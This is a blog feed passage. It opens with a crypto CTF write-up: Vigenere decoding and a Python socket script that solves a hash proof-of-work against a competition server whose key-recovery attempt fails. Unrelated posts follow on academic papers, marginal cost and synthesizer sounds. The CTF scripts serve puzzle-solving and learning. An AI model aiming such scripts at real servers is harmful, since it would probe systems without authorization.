<li><a href="http://hkopp.github.io/assets/writeup-crypto-ctf/challenges/roXen_5b1a5ebda92838cd2f931cca92974ba957e6ced2.txz">roXen</a></li>
<li><a href="http://hkopp.github.io/assets/writeup-crypto-ctf/challenges/stuff_73ada86861bb1773151df868dafb230ae09807f5.txz">stuff</a></li>
<li><a href="http://hkopp.github.io/assets/writeup-crypto-ctf/challenges/super_natural_f1ae1f67251a0e506bba6702291e95da0423badb.txz">super natural</a></li>
<li><a href="http://hkopp.github.io/assets/writeup-crypto-ctf/challenges/time_capsule_aa5d041f6d3bef8d9977d6bd0e2cfeab322c4a39.txz">time capsule</a></li>
</ul>
<h2 id="decode-me">Decode Me</h2>
<p>For the challenge “Decode Me”, there was only a string given:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>D: mb xwhvxw mlnX 4X6AhPLAR4eupSRJ6FLt8AgE6JsLdBRxq57L8IeMyBRHp6IGsmgFIB5E :ztey xam lb lbaH
</code></pre></div></div>
<p>This looks a little bit reversed, especially with the “:ztey” part.
Usually colons are at the end of words.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Habl bl max yetz: E5BIFgmsGI6pHRByMeI8L75qxRBdLsJ6EgA8tLF6JRSpue4RALPhA6X4 Xnlm wxvhwx bm :D
</code></pre></div></div>
<p>Looks better. My guess was that the first part is “Here is the flag:”.
Maybe something easy such as a caesar cipher.
A nice tool to play around with such strings is GCHQ’s <a href="https://gchq.github.io/CyberChef/">Cyberchef</a>.
When I use the caesar cipher with a displacement of seven symbols (or a key of H), I get the following.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Ohis is the flag: L5IPMntzNP6wOYIfTlP8S75xeYIkSzQ6LnH8aSM6QYZwbl4YHSWoH6E4 Eust decode it :K
</code></pre></div></div>
<p>The “Ohis” should probably be “This”, and “Eust”, should be “Just”. So
we are in Vigenere territory. The key for vigenere is thus “MHHHHHHHHHHHHHHHHHHHHHHHHHHHH”.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>This is the flag: L5IPMntzNP6wOYIfTlU8S75xeYIkSzQ6LnH8aSM6QYZwbl4YHSWoH6E4 Just decode it :K
</code></pre></div></div>
<p>The part in the middle is valid base64. However, decoding it
yields just some unreadable stuff. I tried interpreting it as x86
opcodes, but there were a few invalid instructions so I thought this
is too far-fetched. I also tried decrypting the numbers in the base64,
as it is unclear how to treat numbers in vigenere. But that also did
not work.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>~/cryptoctf2019$ base64 -d <(echo -n "L5IPMntzNP6wOYIfTlU8S75xeYIkSzQ6LnH8aSM6QYZwbl4YHSWoH6E4") > decodeme_debase64
~/cryptoctf2019$ file decodeme_debase64
decodeme_debase64: data
</code></pre></div></div>
<p>And then i was stuck.</p>
<p>After the ctf was over I read
<a href="https://ctftime.org/writeup/16108">some</a> <a href="https://bananamafia.dev/post/cryptoctf-1-decodeme/">writeups</a>.
Maybe I should have seen that :K is a very awkward smiley. Then, I
may have realized, that the vigenere key is not
“MHHHHHHHHHHHHHHHHHHHHHHHHHHHH”, but “H” for upper case letters and
“M” for lower case letters. As I knew that the flags start with
“CCTF”, I could have base64-decoded that part and thus recover the
key for the numbers. Putting these three keys together, gives the
correct decryption keys.</p>
<h2 id="permutations-game">Permutations Game</h2>
<p>For the permutations game it was necessary first to connect to a server.</p>
<figure class="highlight"><pre><code class="language-bash" data-lang="bash">~<span class="nv">$ </span> nc 167.71.62.250 20029
<span class="nt">------------------------------------------------------------------------</span>
Playoff Permutations Game
<span class="nt">------------------------------------------------------------------------</span>
Submit a printable string X, such that sha1<span class="o">(</span>X<span class="o">)[</span><span class="nt">-6</span>:] <span class="o">=</span> 918957</code></pre></figure>
<p>So we first had to compute a proof of work.
For this, one has to choose a random printable string X, hash it and
check if <code class="language-plaintext highlighter-rouge">sha1(X)[-6:] = 918957</code>. There is no more efficient way to
compute this if (and only if) the hash function is secure.
The number that has to be reached is usually called target.</p>
<p>I first had some code to generate random strings found in a
stackoverflow article. While this code could theoretically generate a
wide number of random strings, it was really slow. The problem was,
that it uses stuff such as <code class="language-plaintext highlighter-rouge">random.choice</code> and <code class="language-plaintext highlighter-rouge">join</code>. As there was
another challenge which also used a proof of work, it made sense to
improve the speed of this subroutine.</p>
<p>My alternative was to use a uuid such as
<code class="language-plaintext highlighter-rouge">a05073b2-0bd1-4ded-89af-0c44eb142ea4</code> instead of choosing a printable
string completely at random. Interpreting the uuid as hexadecimal does
not generate all possible printable strings of a given length, but is
very fast, as most of the stuff when generating a uuid in Python
happens in C.
So, I did some benchmarking code to check if my function was really
faster.</p>
<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="kn">import</span> <span class="nn">time</span>
<span class="kn">import</span> <span class="nn">string</span>
<span class="kn">import</span> <span class="nn">random</span>
<span class="k">def</span> <span class="nf">random_ascii_generator1</span><span class="p">(</span><span class="n">size</span><span class="o">=</span><span class="mi">32</span><span class="p">,</span> <span class="n">chars</span><span class="o">=</span><span class="n">string</span><span class="p">.</span><span class="n">ascii_uppercase</span> <span class="o">+</span> <span class="n">string</span><span class="p">.</span><span class="n">digits</span><span class="p">):</span>
<span class="k">return</span> <span class="s">''</span><span class="p">.</span><span class="n">join</span><span class="p">(</span><span class="n">random</span><span class="p">.</span><span class="n">choice</span><span class="p">(</span><span class="s">"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890"</span><span class="p">)</span> <span class="k">for</span> <span class="n">_</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">size</span><span class="p">)).</span><span class="n">encode</span><span class="p">(</span><span class="s">'ascii'</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">random_ascii_generator2</span><span class="p">(</span><span class="n">size</span><span class="o">=</span><span class="mi">32</span><span class="p">,</span> <span class="n">chars</span><span class="o">=</span><span class="n">string</span><span class="p">.</span><span class="n">ascii_uppercase</span> <span class="o">+</span> <span class="n">string</span><span class="p">.</span><span class="n">digits</span><span class="p">):</span>
<span class="k">return</span> <span class="s">''</span><span class="p">.</span><span class="n">join</span><span class="p">(</span><span class="n">random</span><span class="p">.</span><span class="n">choice</span><span class="p">(</span><span class="n">chars</span><span class="p">)</span> <span class="k">for</span> <span class="n">_</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">size</span><span class="p">)).</span><span class="n">encode</span><span class="p">(</span><span class="s">'ascii'</span><span class="p">)</span>
<span class="c1"># https://stackoverflow.com/questions/2257441/random-string-generation-with-upper-case-letters-and-digits
</span>
<span class="kn">import</span> <span class="nn">uuid</span>
<span class="k">def</span> <span class="nf">random_ascii_generator3</span><span class="p">():</span>
<span class="k">return</span> <span class="n">uuid</span><span class="p">.</span><span class="n">uuid4</span><span class="p">().</span><span class="nb">hex</span><span class="p">.</span><span class="n">encode</span><span class="p">(</span><span class="s">'ascii'</span><span class="p">)</span>
<span class="k">for</span> <span class="n">algo</span> <span class="ow">in</span> <span class="p">[</span><span class="n">random_ascii_generator1</span><span class="p">,</span> <span class="n">random_ascii_generator2</span><span class="p">,</span> <span class="n">random_ascii_generator3</span><span class="p">]:</span>
<span class="n">start</span><span class="o">=</span><span class="n">time</span><span class="p">.</span><span class="n">time</span><span class="p">()</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">100000</span><span class="p">):</span>
<span class="n">algo</span><span class="p">()</span>
<span class="n">end</span> <span class="o">=</span> <span class="n">time</span><span class="p">.</span><span class="n">time</span><span class="p">()</span>
<span class="k">print</span><span class="p">(</span><span class="s">"time elapsed for {0}: {1}"</span><span class="p">.</span><span class="nb">format</span><span class="p">(</span><span class="n">algo</span><span class="p">.</span><span class="n">__name__</span><span class="p">,</span> <span class="n">end</span> <span class="o">-</span> <span class="n">start</span><span class="p">))</span></code></pre></figure>
<p>The results of a sample run look as follows.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>time elapsed for random_ascii_generator1: 2.5260610580444336
time elapsed for random_ascii_generator2: 2.780190944671631
time elapsed for random_ascii_generator3: 0.33684778213500977
</code></pre></div></div>
<p>Thus, I used uuids as random printable strings.
After submitting a valid proof of work the following menu was
presented.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>|-------------------------------------|
| Options: |
| [S]how encrypted msgs! |
| [G]uess the key |
| [E]ncryption function |
| [Q]uit |
|-------------------------------------|
</code></pre></div></div>
<p>Pressing <code class="language-plaintext highlighter-rouge">E</code> showed the following.</p>
<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="k">def</span> <span class="nf">gen_divan</span><span class="p">(</span><span class="n">l</span><span class="p">,</span> <span class="n">n</span><span class="p">):</span>
<span class="k">assert</span> <span class="n">l</span> <span class="o"><</span> <span class="n">n</span><span class="o">**</span><span class="mi">2</span>
<span class="n">key</span><span class="p">,</span> <span class="n">F</span> <span class="o">=</span> <span class="n">random_permutation</span><span class="p">(</span><span class="n">n</span><span class="p">),</span> <span class="p">[]</span>
<span class="k">for</span> <span class="n">_</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">l</span><span class="p">):</span>
<span class="n">g</span> <span class="o">=</span> <span class="n">random_permutation</span><span class="p">(</span><span class="n">n</span><span class="p">)</span>
<span class="n">F</span><span class="p">.</span><span class="n">append</span><span class="p">((</span><span class="nb">str</span><span class="p">(</span><span class="n">g</span><span class="p">.</span><span class="n">to_image</span><span class="p">()),</span> <span class="nb">str</span><span class="p">((</span><span class="n">key</span> <span class="o">*</span> <span class="n">g</span> <span class="o">*</span> <span class="n">key</span><span class="p">.</span><span class="n">inverse</span><span class="p">()).</span><span class="n">to_image</span><span class="p">())))</span>
<span class="k">return</span> <span class="n">key</span><span class="p">,</span> <span class="n">F</span></code></pre></figure>
<p>Pressing <code class="language-plaintext highlighter-rouge">S</code> showed the following.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>g = (13, 6, 4, 18, 38, 1, 39, 22, 36, 10, 23, 14, 28, 12, 31, 34, 2, 30, 3, 11, 33, 20, 9, 26, 17, 8, 40, 25, 32, 5, 19, 15, 37, 7, 35, 21, 27, 16, 29, 24)
key * g * key^(-1) = (29, 8, 34, 7, 28, 19, 23, 4, 9, 6, 37, 14, 20, 32, 11, 30, 27 , 18, 5, 13, 40, 35, 36, 38, 3, 10, 39, 31, 26, 12, 24, 21, 1, 33, 15, 17, 2, 25, 22, 16)
g = (36, 14, 39, 37, 25, 35, 17, 30, 29, 19, 15, 22, 32, 6, 12, 38, 7, 4, 28, 27, 40, 1, 23, 11, 5, 3, 13, 24, 20, 21, 9, 2, 34, 31, 26, 33, 8, 10, 1 8, 16)
key * g * key^(-1) = (33, 1, 35, 24, 13, 36, 3, 17, 4, 25, 7, 34, 23, 26, 29, 19, 5, 31, 32, 21, 9, 15, 40, 10, 38, 14, 27, 39, 28, 8, 30, 20, 18, 12, 2, 37, 16, 11, 6, 22)
g = (3, 28, 11, 33, 6, 27, 21, 26, 12, 22, 5, 10, 1, 32, 8, 9, 36, 38, 31, 20, 2, 24, 13, 19, 7, 4, 14, 25, 40, 37, 18, 15, 34, 16, 35, 29, 17, 30, 39, 23)
key * g * key^(-1) = (39, 27, 11, 38, 7, 2, 4, 31, 9, 10, 14, 26, 18, 22, 29, 40, 34, 23, 5, 19, 37, 6, 8, 17, 33, 35, 16, 25, 1, 12, 28, 30, 3, 21, 32, 36, 20, 15, 13, 24)
| please send M to see another part of encrypted msgs!!
</code></pre></div></div>
<p>All of this took a long time to achieve, as computing the proof of
work took around one minute. And then it was impossible to test the
code fast.</p>
<p>So, translating all this computer science gibberish to math, the key is a random permutation \(k\in\mathbb{S}\).
What we get are a bunch of values \(g\in\mathbb{S}\), together with \(kgk^{-1}\)
and we should compute \(k\) from this.
And this is where I got stuck.</p>
<p>We can find a value \(x\in\mathbb{S}\) such that \(x\cdot kgk^{-1}=1\). This is
easy. Then \(k=xkg\), as inverses are unique. However, we are unable
to compute \(k\) through this.</p>
<p>My next idea was to somehow chain the different \(kg_i k^{-1}\).
For example \(kg_i k^{-1} \cdot kg_j k^{-1} = kg_ig_j k^{-1}\). But
I also fail to see how this gives us \(k\).</p>
<p>In the following is my code. Most of the effort was put in the proof of
work and for the remainder I simply lacked a good idea.</p>
<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="n">ip</span><span class="o">=</span><span class="s">'167.71.62.250'</span>
<span class="n">port</span><span class="o">=</span><span class="mi">20029</span>
<span class="kn">import</span> <span class="nn">socket</span>
<span class="kn">import</span> <span class="nn">re</span>
<span class="n">sock</span> <span class="o">=</span> <span class="n">socket</span><span class="p">.</span><span class="n">socket</span><span class="p">()</span>
<span class="n">sock</span><span class="p">.</span><span class="n">connect</span><span class="p">((</span><span class="n">ip</span><span class="p">,</span> <span class="n">port</span><span class="p">))</span>
<span class="k">print</span><span class="p">(</span><span class="n">sock</span><span class="p">.</span><span class="n">recv</span><span class="p">(</span><span class="mi">256</span><span class="p">))</span>
<span class="n">information</span> <span class="o">=</span> <span class="n">sock</span><span class="p">.</span><span class="n">recv</span><span class="p">(</span><span class="mi">256</span><span class="p">).</span><span class="n">decode</span><span class="p">(</span><span class="s">'utf-8'</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="n">information</span><span class="p">)</span>
<span class="n">match</span><span class="o">=</span><span class="n">re</span><span class="p">.</span><span class="n">search</span><span class="p">(</span><span class="s">'Submit a printable string X, such that (.*)\(X\)\[-6\:\] = (.*)'</span><span class="p">,</span> <span class="n">information</span><span class="p">,</span> <span class="n">re</span><span class="p">.</span><span class="n">MULTILINE</span><span class="p">)</span>
<span class="n">algo</span><span class="o">=</span><span class="n">match</span><span class="p">.</span><span class="n">group</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
<span class="n">target</span><span class="o">=</span><span class="n">match</span><span class="p">.</span><span class="n">group</span><span class="p">(</span><span class="mi">2</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="s">"[*] algo needed: {0}"</span><span class="p">.</span><span class="nb">format</span><span class="p">(</span><span class="n">algo</span><span class="p">))</span>
<span class="k">print</span><span class="p">(</span><span class="s">"[*] target needed: {0}"</span><span class="p">.</span><span class="nb">format</span><span class="p">(</span><span class="n">target</span><span class="p">))</span>
<span class="kn">import</span> <span class="nn">uuid</span>
<span class="k">def</span> <span class="nf">random_ascii_generator</span><span class="p">():</span>
<span class="k">return</span> <span class="n">uuid</span><span class="p">.</span><span class="n">uuid4</span><span class="p">().</span><span class="nb">hex</span><span class="p">.</span><span class="n">encode</span><span class="p">(</span><span class="s">"ascii"</span><span class="p">)</span>
<span class="kn">import</span> <span class="nn">hashlib</span>
<span class="n">algo_matching</span> <span class="o">=</span> <span class="p">{</span><span class="s">"sha1"</span><span class="p">:</span> <span class="n">hashlib</span><span class="p">.</span><span class="n">sha1</span><span class="p">,</span>
<span class="s">"md5"</span><span class="p">:</span> <span class="n">hashlib</span><span class="p">.</span><span class="n">md5</span><span class="p">,</span>
<span class="s">"sha224"</span><span class="p">:</span> <span class="n">hashlib</span><span class="p">.</span><span class="n">sha224</span><span class="p">,</span>
<span class="s">"sha256"</span><span class="p">:</span> <span class="n">hashlib</span><span class="p">.</span><span class="n">sha256</span><span class="p">,</span>
<span class="s">"sha384"</span><span class="p">:</span> <span class="n">hashlib</span><span class="p">.</span><span class="n">sha384</span><span class="p">,</span>
<span class="s">"sha512"</span><span class="p">:</span> <span class="n">hashlib</span><span class="p">.</span><span class="n">sha512</span>
<span class="p">}</span>
<span class="n">candidate_hash</span> <span class="o">=</span> <span class="s">""</span>
<span class="k">while</span> <span class="ow">not</span> <span class="n">candidate_hash</span><span class="p">[</span><span class="o">-</span><span class="mi">6</span><span class="p">:]</span> <span class="o">==</span> <span class="n">target</span><span class="p">:</span>
<span class="n">candidate_string</span> <span class="o">=</span> <span class="n">random_ascii_generator</span><span class="p">()</span>
<span class="n">candidate_hash</span> <span class="o">=</span> <span class="n">algo_matching</span><span class="p">[</span><span class="n">algo</span><span class="p">](</span><span class="n">candidate_string</span><span class="p">).</span><span class="n">hexdigest</span><span class="p">()</span>
<span class="k">print</span><span class="p">(</span><span class="s">"[*] PoW found"</span><span class="p">)</span>
<span class="n">sock</span><span class="p">.</span><span class="n">send</span><span class="p">(</span><span class="n">candidate_string</span> <span class="o">+</span><span class="s">"</span><span class="se">\n</span><span class="s">"</span><span class="p">.</span><span class="n">encode</span><span class="p">(</span><span class="s">"ascii"</span><span class="p">))</span>
<span class="k">print</span><span class="p">(</span><span class="n">sock</span><span class="p">.</span><span class="n">recv</span><span class="p">(</span><span class="mi">256</span><span class="p">).</span><span class="n">decode</span><span class="p">(</span><span class="s">'ascii'</span><span class="p">))</span>
<span class="k">print</span><span class="p">(</span><span class="s">"[*] Sending S"</span><span class="p">)</span>
<span class="n">sock</span><span class="p">.</span><span class="n">send</span><span class="p">(</span><span class="s">"S</span><span class="se">\n</span><span class="s">"</span><span class="p">.</span><span class="n">encode</span><span class="p">(</span><span class="s">'ascii'</span><span class="p">))</span>
<span class="k">print</span><span class="p">(</span><span class="n">sock</span><span class="p">.</span><span class="n">recv</span><span class="p">(</span><span class="mi">4096</span><span class="p">).</span><span class="n">decode</span><span class="p">(</span><span class="s">'ascii'</span><span class="p">))</span>
<span class="k">print</span><span class="p">(</span><span class="n">sock</span><span class="p">.</span><span class="n">recv</span><span class="p">(</span><span class="mi">4096</span><span class="p">).</span><span class="n">decode</span><span class="p">(</span><span class="s">'ascii'</span><span class="p">))</span>
<span class="k">print</span><span class="p">(</span><span class="s">"[*] Sending M"</span><span class="p">)</span>
<span class="n">sock</span><span class="p">.</span><span class="n">send</span><span class="p">(</span><span class="s">"M</span><span class="se">\n</span><span class="s">"</span><span class="p">.</span><span class="n">encode</span><span class="p">(</span><span class="s">'ascii'</span><span class="p">))</span>
<span class="k">print</span><span class="p">(</span><span class="n">sock</span><span class="p">.</span><span class="n">recv</span><span class="p">(</span><span class="mi">4096</span><span class="p">).</span><span class="n">decode</span><span class="p">(</span><span class="s">'ascii'</span><span class="p">))</span>
<span class="k">print</span><span class="p">(</span><span class="n">sock</span><span class="p">.</span><span class="n">recv</span><span class="p">(</span><span class="mi">4096</span><span class="p">).</span><span class="n">decode</span><span class="p">(</span><span class="s">'ascii'</span><span class="p">))</span>
<span class="k">print</span><span class="p">(</span><span class="s">"[*] Sending M"</span><span class="p">)</span>
<span class="n">sock</span><span class="p">.</span><span class="n">send</span><span class="p">(</span><span class="s">"M</span><span class="se">\n</span><span class="s">"</span><span class="p">.</span><span class="n">encode</span><span class="p">(</span><span class="s">'ascii'</span><span class="p">))</span>
<span class="k">print</span><span class="p">(</span><span class="n">sock</span><span class="p">.</span><span class="n">recv</span><span class="p">(</span><span class="mi">4096</span><span class="p">).</span><span class="n">decode</span><span class="p">(</span><span class="s">'ascii'</span><span class="p">))</span>
<span class="k">print</span><span class="p">(</span><span class="n">sock</span><span class="p">.</span><span class="n">recv</span><span class="p">(</span><span class="mi">4096</span><span class="p">).</span><span class="n">decode</span><span class="p">(</span><span class="s">'ascii'</span><span class="p">))</span>
<span class="k">print</span><span class="p">(</span><span class="s">"[*] Sending M"</span><span class="p">)</span>
<span class="n">sock</span><span class="p">.</span><span class="n">send</span><span class="p">(</span><span class="s">"M</span><span class="se">\n</span><span class="s">"</span><span class="p">.</span><span class="n">encode</span><span class="p">(</span><span class="s">'ascii'</span><span class="p">))</span>
<span class="k">print</span><span class="p">(</span><span class="n">sock</span><span class="p">.</span><span class="n">recv</span><span class="p">(</span><span class="mi">4096</span><span class="p">).</span><span class="n">decode</span><span class="p">(</span><span class="s">'ascii'</span><span class="p">))</span>
<span class="k">print</span><span class="p">(</span><span class="n">sock</span><span class="p">.</span><span class="n">recv</span><span class="p">(</span><span class="mi">4096</span><span class="p">).</span><span class="n">decode</span><span class="p">(</span><span class="s">'ascii'</span><span class="p">))</span>
<span class="k">print</span><span class="p">(</span><span class="s">"[*] Sending M"</span><span class="p">)</span>
<span class="n">sock</span><span class="p">.</span><span class="n">send</span><span class="p">(</span><span class="s">"M</span><span class="se">\n</span><span class="s">"</span><span class="p">.</span><span class="n">encode</span><span class="p">(</span><span class="s">'ascii'</span><span class="p">))</span>
<span class="k">print</span><span class="p">(</span><span class="n">sock</span><span class="p">.</span><span class="n">recv</span><span class="p">(</span><span class="mi">4096</span><span class="p">).</span><span class="n">decode</span><span class="p">(</span><span class="s">'ascii'</span><span class="p">))</span>
<span class="k">print</span><span class="p">(</span><span class="n">sock</span><span class="p">.</span><span class="n">recv</span><span class="p">(</span><span class="mi">4096</span><span class="p">).</span><span class="n">decode</span><span class="p">(</span><span class="s">'ascii'</span><span class="p">))</span>
<span class="c1">#print("[*] Sending E")
#sock.send("E\n".encode('ascii'))
#print(sock.recv(256).decode('ascii'))
</span>
<span class="c1">#print("[*] Sending G")
#sock.send("G\n".encode('ascii'))
#print(sock.recv(256).decode('ascii'))
</span>
<span class="n">sock</span><span class="p">.</span><span class="n">close</span><span class="p">()</span></code></pre></figure>
<h2 id="welcome">Welcome</h2>
<p>This was the first challenge I solved :D</p>
<p><img src="http://hkopp.github.io/assets/writeup-crypto-ctf/welcome.png" alt="The solution to Welcome" /></p>
<p>The second successful challenge was, that I filled out their survey.</p>
My Favorite Academic Articles
2019-03-10T00:00:00+00:00
https://hkopp.github.io/2019/03/my-favorite-academic-articles
<p>When i was a PhD student I got a lot in contact with bad scientific papers.
Often these fall into two main categories: badly written or
unscientific.
On the other hand there are a few papers I come back to over the years
with a broadened understanding and read them again, because they are
simply good. In this post I present some of my favorite papers
and encourage you to go and read them by yourself.</p>
<h2 id="functional-programming-with-bananas-lenses-envelopes-and-barbed-wire-by-meijer-et-al">Functional Programming with Bananas, Lenses, Envelopes and Barbed Wire, by Meijer et al.</h2>
<p>This paper formalizes recursively defined data types and constructs a
calculus for recursion operators. Although the topic is probably mainly of
interest to functional programmers, the notation is very well chosen
and some academics should learn a lesson from these guys.
If you know category theory or some Haskell this paper should be
understandable to you. Additionally it is self-contained and you can
get away with not looking up any references.</p>
<p>The only thing that sucks about this paper is its nondescriptive
title. I hate it when authors try to be funny in the title,
instead of telling me what the article is about.</p>
<h2 id="topics-in-computational-algebraic-number-theory-by-karim-belabas">Topics in Computational Algebraic Number Theory, by Karim Belabas</h2>
<p>Karim is the maintainer of the famous computer algebra system
<a href="http://pari.math.u-bordeaux1.fr/">PARI/GP</a>. If you have only heard of
Matlab and R, but not of PARI/GP, it is probably because PARI/GP is
mainly used for number theory. There are a bunch of operations
number theorists use routinely, like multiplication of ideals,
norms of algebraic integers, or computations with prime ideals.
Often mathematicians do not care how these are implemented and the
efficient algorithms were shared directly between the developers of
computer algebra systems. Most of the algorithms are not complex, so
no one has bothered to publish them. What Karim describes are
implementations and implementation tricks for these operations and I
sometimes find myself looking up an algorithm, simply because there
are not many other references, except maybe <a href="http://www.springer.com/us/book/9783540556404">A Course in Computational
Algebraic Number
Theory</a> of Henri Cohen.</p>
<h2 id="notation-as-a-tool-of-thought-by-kenneth-iverson">Notation as a Tool of Thought, by Kenneth Iverson</h2>
<p>Kenneth Iverson is the designer of the
<a href="https://en.wikipedia.org/wiki/APL_(programming_language)">APL</a>
programming language. Even though this language has not seen
widespread usage, it is build upon some very interesting ideas. One of
them is that a computer language should be succinct and more like
mathematical notation. Seeing some Java code where most of the
symbols are boilerplate and distract from the semantics i have to agree.
A more mathematical notation for code further eases formal proofs of
properties of the code.</p>
<p>I admire the exposition of the ideas of Kenneth. However, as already mentioned
APL is not really used. In my opinion that is due to the
use of non-ASCII symbols and very dense semantics. APL reads like
complex mathematical proofs without comments.</p>
<h2 id="composing-contracts-an-adventure-in-financial-engineering-by-simon-peyton-jones-et-al">Composing Contracts: An Adventure in Financial Engineering, by Simon Peyton Jones et al.</h2>
<p>This article is about formalizing financial contracts like
derivatives, bonds, … Further, the way in which they are formalized, is
very clever. The authors describe and implement a combinator library in
Haskell. This basically means that contracts can be combined: One can
compose contracts with “or” or “and” or have options on arbitrary
contracts. From a few primitives and some combinators
the whole financial universe of contracts can be composed.</p>
<p>But the authors go beyond this. Since the price of the
primitives is known, and it is known how the price changes when
combined, one can price financial contracts built from these
primitives.</p>
<p>As a side note, only recently I learned to admire the use of colons in
titles. I like hyphens more from a visual point of view, but colons
are clearly superior in a bibliography.</p>
How Is Marginal Cost Related To Marginal Revenue?
2019-01-13T00:00:00+00:00
https://hkopp.github.io/2019/01/how-is-marginal-cost-related-to-marginal-revenue?
<script type="text/javascript" src="https://cdn.mathjax.org/mathjax/latest/MathJax.js?config=TeX-AMS-MML_HTMLorMML"></script>
<h2 id="introduction">Introduction</h2>
<p>I have often heard that marginal cost should equal marginal revenue,
but never really understood why. The posts of economists on the
internet treat this as an axiom and often abbreviate it to \(MC=MR\).
Well, this did not help me either. Until I thought really hard about
it and now I have to write this down, before I forget it again.</p>
<h2 id="the-setting">The Setting</h2>
<p>Let’s say we produce and sell apples. Then we have some profit \(P\)
per apple, which depends on the quantity \(q\) of sold apples. So we can regard
this as a function \(P(q)\).</p>
<p>The profit can be divided into two parts, the revenue \(R(q)\) per
sold apple and the cost \(C(q)\) per sold apple. The revenue is simply
the price we get for one apple if we sell \(q\) of them. \(C(q)\) is
the cost per apple of producing and selling \(q\) apples. Then
\(P(q)=R(q)-C(q)\).</p>
<p>Now, you may think that the profit per single apple \(R(q)\) does not
depend on the number \(q\) of sold apples.
Well, that is not really the case.
Actually, if you sell enough apples, you will find out that people
are fed up with apples and stop buying them. Thus, the revenue per
apple decreases when more apples are sold.
Likewise, the cost \(C(q)\) per sold apple changes, due to cheaper shipping
and packaging of large quantities of apples.</p>
<h2 id="playing-around-with-the-formulas">Playing around with the formulas</h2>
<p>Actually, since we are in a capitalist society we want to maximize our
profit. Finding a maximum of something can be done by setting the
derivative to zero.</p>
\[\begin{equation}
\frac{dP(q)}{dq}=\frac{dR(q)}{dq}-\frac{dC(q)}{dq}\stackrel{!}{=}0
\end{equation}\]
<p>But this is the case only if \(\frac{dR(q)}{dq}=\frac{dC(q)}{dq}\).
Economists call the left side marginal revenue and the right side
marginal cost. And this is where \(MC=MR\) comes from. It is simply a
result of maximizing the profit.</p>
Synthesizer Recipes
2018-06-27T00:00:00+00:00
https://hkopp.github.io/2018/06/synthesizer-recipes
<h2 id="introduction">Introduction</h2>
<p>When I first started making electronic music I was overwhelmed with
all the possibilities of sound generation and it took me a long time to
figure out which instruments can be made which way. Even after I knew
what all the knobs in synthesizers do, I was still unable to apply
that knowledge to, e.g., make a drum sound.</p>
<p>So, I thought I could write the manual which I hope I could have had at
the time. If you know nothing about sound synthesis this may be a hard
read. However, if you know what a filter and modulation is, this may
hopefully help you.</p>
<h2 id="recipes">Recipes</h2>
<h3 id="bassline-wobbles">Bassline Wobbles</h3>
<p>This effect can be heard often in dubstep or neurofunk. Essentially it
is a pulse wave which is lowpass filtered with resonance.
The cutoff frequency of the lowpass filter is modulated with
something slow. Sometimes there is also modulation of the pulse width to
make the sound more lively.
Even if the cutoff frequency is modulated with a sine wave it can
sound cool if parts of the sound are muted and the brain cannot hear
the sine. Normally the modulation is irregular and done by some
hand drawn automation.
Often the input is not a pulse wave but may be more processed, e.g,
some frequency modulated stuff or a distorted pulse. The only rule is
that it should have a large spectrum to be interesting.</p>
<h3 id="neurofunk-bass">Neurofunk Bass</h3>
<p>This is basically a very gritty bass.
Take some saw waves and detune them a little bit. Then put a second
saw wave one octave below. And then put a sine two octaves below. This
sine is the secret ingredient which makes it sound very deep and dark.
Finally, put an LFO on the lowpass cutoff as above and add some
phasers.</p>
<h3 id="trance-leads">Trance Leads</h3>
<p>Have you ever listened to trance music and noted the typical leads
which are the same in nearly every trance song? This is called a
supersaw and is done with a lot of saw waves.
Take some saw saves and detune them very little. Then copy this to the
octave above. And to the octave above that.
Put some chorus and reverb over it. Done.</p>
<h3 id="kick-drum">Kick Drum</h3>
<p>Put the sustain off. A kick drum is very dry and does not have any
sustain. If you think about it, when a drum is hit, its skin
stretches. Stretched stuff produces higher notes (think of guitar
strings). If the drum head relaxes, its frequency is lower.
And that is how you synthesize drums. Take a sine wave which starts
high and then decreases quickly in frequency. This can be automated by a
frequency envelope, even on most hardware, since the envelope is not
needed for the volume.
Depending on taste, put some distortion on it.</p>
<h3 id="snare-drum">Snare Drum</h3>
<p>Snare drums can be made like a kick drum, but with a higher starting
and ending frequency and some highpass filtered noise. Try to make the
noise and the frequency enveloped sine sound as belonging to the same
instrument.</p>
<h3 id="bonus-snare-drum">Bonus Snare Drum</h3>
<p>What also works is filtering white noise with a bandpass envelope with
quickly decaying cutoff frequency. This makes it sound more dirty.
Then more unfiltered noise can be added.</p>
<h3 id="hi-hat">Hi Hat</h3>
<p>There are many ways to create a hi hat sound by putting together wave
forms. The easiest way is to make a very high pitched snare.
Another way is to play around with subtractive synthesis. Take some
noise and filter it with a high pass or band pass. If you want an open
hi hat, simply change the envelope by adding some sustain.</p>
<h3 id="clap">Clap</h3>
<p>A Clap is a snare with more noise. This sounds somehow wrong, but in
the world of sound synthesis it is true. The noise can be either
louder or the cutoff frequency of the high pass can be lower.</p>
<h2 id="bonus-chiptunes">Bonus: Chiptunes</h2>
<p>Recently, I played around with some chiptune music. This is music from
old hardware chips like the SID, built into the Commodore 64 or the
old NES sounds. These two examples are the ones I have looked
into. Old platforms have very hard restrictions which makes it
challenging to create anything that sounds good.</p>
<p>The SID for example has three oscillators, which have four waveforms
